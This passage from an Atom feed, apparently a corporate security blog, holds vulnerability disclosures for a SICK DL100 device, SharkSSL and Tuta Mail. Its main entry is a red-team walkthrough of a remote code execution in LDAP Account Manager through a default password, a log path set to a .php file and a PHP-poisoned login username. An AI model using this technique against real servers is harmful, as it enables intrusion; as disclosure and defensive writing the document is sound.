  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Known Affected / Workaround&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVEs:&lt;/strong&gt; CVE-2025-27593, CVE-2025-27594, CVE-2025-27595&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerabilities were discovered during testing a device of type DL100.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-27593-download-of-code-without-integrity-check&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27593&quot;&gt;CVE-2025-27593&lt;/a&gt;: Download of Code Without Integrity Check&lt;/h3&gt;

&lt;p&gt;The product can be used to distribute malicious code using SDD Device Drivers
due to missing download verification checks leading to code execution on target systems.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-27594-cleartext-transmission-of-sensitive-information&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27594&quot;&gt;CVE-2025-27594&lt;/a&gt;: Cleartext Transmission of Sensitive Information&lt;/h3&gt;

&lt;p&gt;The device uses an unencrypted, proprietary protocol for communication, authentication and transmission of configuration data. An attacker can thereby intercept the authentication hash and use it to log into the device using a pass-the-hash attack.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-27595-use-of-weak-hash&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27595&quot;&gt;CVE-2025-27595&lt;/a&gt;: Use of Weak Hash&lt;/h3&gt;

&lt;p&gt;The device uses a weak hashing algorithm to create the password hash. Hence, a matching password can be easily calculated by an attacker. This impacts the security and the integrity of the device.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27593&quot;&gt;CVE-2025-27593&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27594&quot;&gt;CVE-2025-27594&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27595&quot;&gt;CVE-2025-27595&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0004.pdf&quot;&gt;SICK Security Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;07.01.2025:&lt;/strong&gt; Vulnerability reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;31.01.2025:&lt;/strong&gt; Vendor confirmed vulnerabilities.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;14.03.2025:&lt;/strong&gt; Vendor published a Security Advisory with a workaround.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;14.03.2025:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Leonard Lewedei (&lt;a href=&quot;mailto:leonard.lewedei@telekom.de&quot;&gt;leonard.lewedei@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Remote code execution in LDAP Account manager through CVE-2024-23333 (Exploiting web applications Part I)</title>
    <link href="https://github.security.telekom.com/2025/01/ldap-account-amanger-rce-cve-2024-23333.html"/>
    <id>https://github.security.telekom.com/2025/01/ldap-account-amanger-rce-cve-2024-23333.html</id>
    <updated>2025-01-14T00:00:00+00:00</updated>
    <summary type="html">During red teaming engagements, the first step is to gain a foothold in the client’s network. That might happen through a phishing attempt, malicious payloads, physical access to the client’s site or an assumed breach. But what happens once you got access to the network?</summary>
    <content type="html">&lt;p&gt;During red teaming engagements, the first step is to gain a foothold in the client’s network. That might happen through a phishing attempt, malicious payloads, physical access to the client’s site or an assumed breach. But what happens once you got access to the network? &lt;!--more--&gt;
With the goal to overtake the company by gaining domain dominance in mind, you need to move step-by-step.
So, during one engagement, we were at this point. We had gained initial access, could poke around in the client’s network but did not yet have any domain credentials which we could abuse for our attack. 
We were carefully looking around in the customer’s network, trying to get ourselves onto a server, in the hope of it being domain-joined and being able to extract valid domain credentials.
As we were poking around, we stumbled across a webserver that had an application called LDAP Account Manager (&lt;a href=&quot;https://github.com/LDAPAccountManager/lam/&quot;&gt;LAM&lt;/a&gt;) running.&lt;/p&gt;

&lt;p&gt;This blog post describes the path of identifying, understanding and exploiting a remote code execution (RCE) vulnerability in LAM.&lt;/p&gt;

&lt;h3 id=&quot;identify-a-potential-vulnerability&quot;&gt;Identify a potential vulnerability&lt;/h3&gt;

&lt;p&gt;LAM is an open-source application that helps with managing LDAP entries. At this point, there were no publicly known vulnerabilities that one could exploit for gaining remote code execution on the server. 
So we did our own research.&lt;/p&gt;

&lt;p&gt;On the main screen of LAM’s landing page, there is menu item called “configuration”, which sounded interesting.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/lam.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It seems to allow the modification of various settings.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/lam_config.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However, a master password is required.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/lam_masterpassword.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A quick Google search revealed that the default master password is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lam&lt;/code&gt;, as the vendor describes &lt;a href=&quot;https://www.ldap-account-manager.org/static/doc/manual/ch03.html&quot;&gt;in the documentation.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Success! No one changed the default password. We see this often in red teaming engagements—that default passwords work for all kinds of applications: printers, web applications, settings, etc. A strong-willed attacker will use the slightest indication of success to penetrate a system. Therefore, everything will be exploited. We strongly recommend that you change your default login credentials to avoid giving attackers a target.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/lam_filelogging.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With access to the configuration panel, we looked through the various options and stumbled across the logging feature.
Log data can be saved to an arbitrary filepath, which releases the smell of log poisoning in the air - let’s give it a try.&lt;/p&gt;

&lt;h4 id=&quot;our-idea-for-gaining-remote-code-execution-rce-was-the-following&quot;&gt;Our idea for gaining remote code execution (RCE) was the following:&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;Create a log file within the web root, using a .php extension so that the web server directs it to the PHP interpreter.&lt;/li&gt;
  &lt;li&gt;Identify an input value that can be controlled and saved in this log file to inject PHP code.&lt;/li&gt;
  &lt;li&gt;Access the log file via the web server to execute remote code (RCE).&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;source-code-analysis&quot;&gt;Source code analysis&lt;/h3&gt;

&lt;p&gt;When exploiting vulnerabilities, it is a good idea to have a look at and to understand the source code (if accessible).
It can only make it easier to perform the exploitation, and it helps to see if there are any constraints or side-effects from the exploitation.
Also, when studying the source code, you may find even more vulnerabilities or bugs that could be chained together.&lt;/p&gt;

&lt;p&gt;So, we have a look in the source code in the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;templates/config/mainmanage.php&lt;/code&gt;, since this is what we see in our browser’s address bar.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logFile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logFile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/^[a-z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;._-]+$/i&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logFile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logDestination&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logFile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$errors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;The log file is empty or contains invalid characters!
                    Valid characters are: a-z, A-Z, 0-9, /, &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;, ., :, _ and -.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see, there is no checking for path traversal, file extensions sanitization or any other form of sanitization.
This is promising for our exploitation.&lt;/p&gt;

&lt;p&gt;We further saw in the same file that the settings are saved via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$cfg-&amp;gt;save();&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// save settings&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;submit&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;save&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$errors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;metaRefresh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;../login.php?confMainSavedOk=1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$cfg&lt;/code&gt; is an object of class &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LAMConfig&lt;/code&gt; defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lib/config.inc&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;save()&lt;/code&gt; function also does not do any further sanitization and thus saves it to the file directly.&lt;/p&gt;

&lt;p&gt;Now we need to know an absolute path on the webserver, in order to deliberately store the malicious log file.
We could not find an information disclosure in LAM, but as luck was on our side, there is a file on the server in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;old/phpinfo.php&lt;/code&gt;. We found this directory using &lt;a href=&quot;https://github.com/ffuf/ffuf/&quot;&gt;ffuf&lt;/a&gt;. As the name suggests, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phpinfo.php&lt;/code&gt; calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phpinfo()&lt;/code&gt; and thus prints the absolute filepath on the server, among a bunch of other information.
With this information in hand, we configured LAM to write the config file to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/www/html/old/demo.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Note: A correct LAM installation, as described in offical sources, does not expose any writable paths. Thus, the exploitation relies on either a misconfigured installation or “third-party” writable file systems paths.&lt;/p&gt;

&lt;h3 id=&quot;finding-a-poisonable-log-entry&quot;&gt;Finding a poisonable log entry&lt;/h3&gt;

&lt;p&gt;Now we need to find a user controllable value that is written to the log file.
First, we need to find how log entries are created.
So, we &lt;em&gt;grep&lt;/em&gt; through the code with &lt;a href=&quot;https://beyondgrep.com/&quot;&gt;ack&lt;/a&gt; and look for the already known config value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logDestination&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack logDestination

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;..]

lib/security.inc
267:    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;NONE&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
276:    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;SYSLOG&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
280:    elseif &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;strpos&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination, &lt;span class=&quot;s1&quot;&gt;&apos;REMOTE&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
285:            @touch&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
286:            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;is_writable&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
287:                    &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; fopen&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination, &lt;span class=&quot;s1&quot;&gt;&apos;a&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
300:                    StatusMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;ERROR&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;Unable to write to log file!&apos;&lt;/span&gt;, &lt;span class=&quot;nv&quot;&gt;$cfg&lt;/span&gt;-&amp;gt;logDestination&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
791:    &lt;span class=&quot;nv&quot;&gt;$remoteParts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; explode&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;:&apos;&lt;/span&gt;, &lt;span class=&quot;nv&quot;&gt;$cfgMain&lt;/span&gt;-&amp;gt;logDestination&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;..]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Among other hits, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lib/security.inc&lt;/code&gt; seems to be the correct location. Looking in the actual file reveals the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logNewMessage&lt;/code&gt;, which is the next keyword that we &lt;del&gt;grep&lt;/del&gt; ack for.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ack logNewMessage

templates/login.php
109:    logNewMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LOG_DEBUG, &lt;span class=&quot;s2&quot;&gt;&quot;Change server profile to &quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;useProfile&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
186:    logNewMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LOG_DEBUG, &lt;span class=&quot;s2&quot;&gt;&quot;Display login page&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
508:                    logNewMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LOG_DEBUG, &lt;span class=&quot;s2&quot;&gt;&quot;Empty password for login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
567:                            logNewMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LOG_ERR, &lt;span class=&quot;s1&quot;&gt;&apos;User &apos;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos; (&apos;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$clientSource&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;) 
                                    failed to log in. &apos;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$searchError&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
590:    logNewMessage&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LOG_NOTICE, &lt;span class=&quot;s1&quot;&gt;&apos;User &apos;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos; (&apos;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$clientSource&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;) successfully logged in.&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nice! A failed login saves the username? That looks good! Let’s try!&lt;/p&gt;

&lt;p&gt;First, we verify that the log file is accessible by opening the page:
&lt;img src=&quot;/assets/images/lam/logfile.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Success! So let us poison the username with PHP source code :). 
We use Burp to intercept the login request.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/burp1.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We send it to the repeater and insert a PHP payload that runs the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/burp2.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let us see how the log file now looks like:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/lam/rce.png&quot; alt=&quot;LAM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Oh yes, the PHP code got interpreted and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; command executed on the server. The result is rendered in the log file! We got RCE on the server and can continue compromising the customer!&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Default credentials are always dangerous, even if only simple settings can be configured. 
Also, it is not a good idea to expose old/test/dev files on your servers; simple information such as a filepath can be useful for an attacker to successfully breach your system.
Just because a project is 20 years old doesn’t mean that it doesn’t contain security vulnerabilities or that they have all been discovered. Hence, researching for vulnerabilities can end in success when attempting to gain access to systems.&lt;/p&gt;

&lt;h3 id=&quot;vulnerability-details&quot;&gt;Vulnerability Details&lt;/h3&gt;

&lt;p&gt;This vulnerability has been assigned &lt;a href=&quot;https://github.com/LDAPAccountManager/lam/security/advisories/GHSA-fm9w-7m7v-wxqv&quot;&gt;CVE-2024-23333&lt;/a&gt; via &lt;a href=&quot;https://github.com/LDAPAccountManager/lam/security/advisories/GHSA-fm9w-7m7v-wxqv&quot;&gt;GHSA-fm9w-7m7v-wxqv&lt;/a&gt; with a CVSS 3 score of 7.9.&lt;/p&gt;

&lt;p&gt;The issue has been fixed in LAM version 8.7, affected versions are &amp;lt; 8.7.&lt;/p&gt;

&lt;p&gt;Additionally, vulnerability &lt;a href=&quot;https://github.com/LDAPAccountManager/lam/security/advisories/GHSA-6cp9-j5r7-xhcc&quot;&gt;CVE-2024-52792&lt;/a&gt; has been discovered, that could bypass the security fix.&lt;/p&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-01-11:&lt;/strong&gt; Vulnerability CVE-2024-23333 reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-03-16:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-15:&lt;/strong&gt; Vulnerability CVE-2024-52792 reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-19:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2025-01-14:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Remote buffer overflow vulnerability in SharkSSL TLS handshake processing</title>
    <link href="https://github.security.telekom.com/2024/12/sharkssl.html"/>
    <id>https://github.security.telekom.com/2024/12/sharkssl.html</id>
    <updated>2024-12-19T00:00:00+00:00</updated>
    <summary type="html">A new remote buffer overflow vulnerability was discovered in the latest version of the SharkSSL library from 05.05.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods.</summary>
    <content type="html">&lt;p&gt;A new remote buffer overflow vulnerability was discovered in the latest version of the SharkSSL library
from 05.05.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche
Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods. &lt;!--more--&gt;The vulnerability allows
an attacker to read large regions of the SharkSSL TLS server’s memory. This is likely to result in a
segmentation fault and can be used for a remote Denial-of-Service attack by an attacker.
Special thanks to Robert Hörr for his support, supervision and guidance during this research.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/advisories/CVE_2024_53379_report_sharkSSL_ClientHello.pdf&quot;&gt;View the full advisory&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Tuta Mail Vulnerability - Client Information Leak</title>
    <link href="https://github.security.telekom.com/2024/11/tuta-mail-svg-image-ip-leak.html"/>
    <id>https://github.security.telekom.com/2024/11/tuta-mail-svg-image-ip-leak.html</id>
    <updated>2024-11-29T00:00:00+00:00</updated>
    <summary type="html">An client information leak vulnerability (CVE-2024-23330) has been identified in Tuta Mail. This vulnerability could leak client information by loading external resources in the mail even if disabled.</summary>
    <content type="html">&lt;p&gt;An client information leak vulnerability (CVE-2024-23330) has been identified in Tuta Mail. This vulnerability could leak client information by loading external resources in the mail even if disabled.&lt;!--more--&gt;&lt;/p&gt;

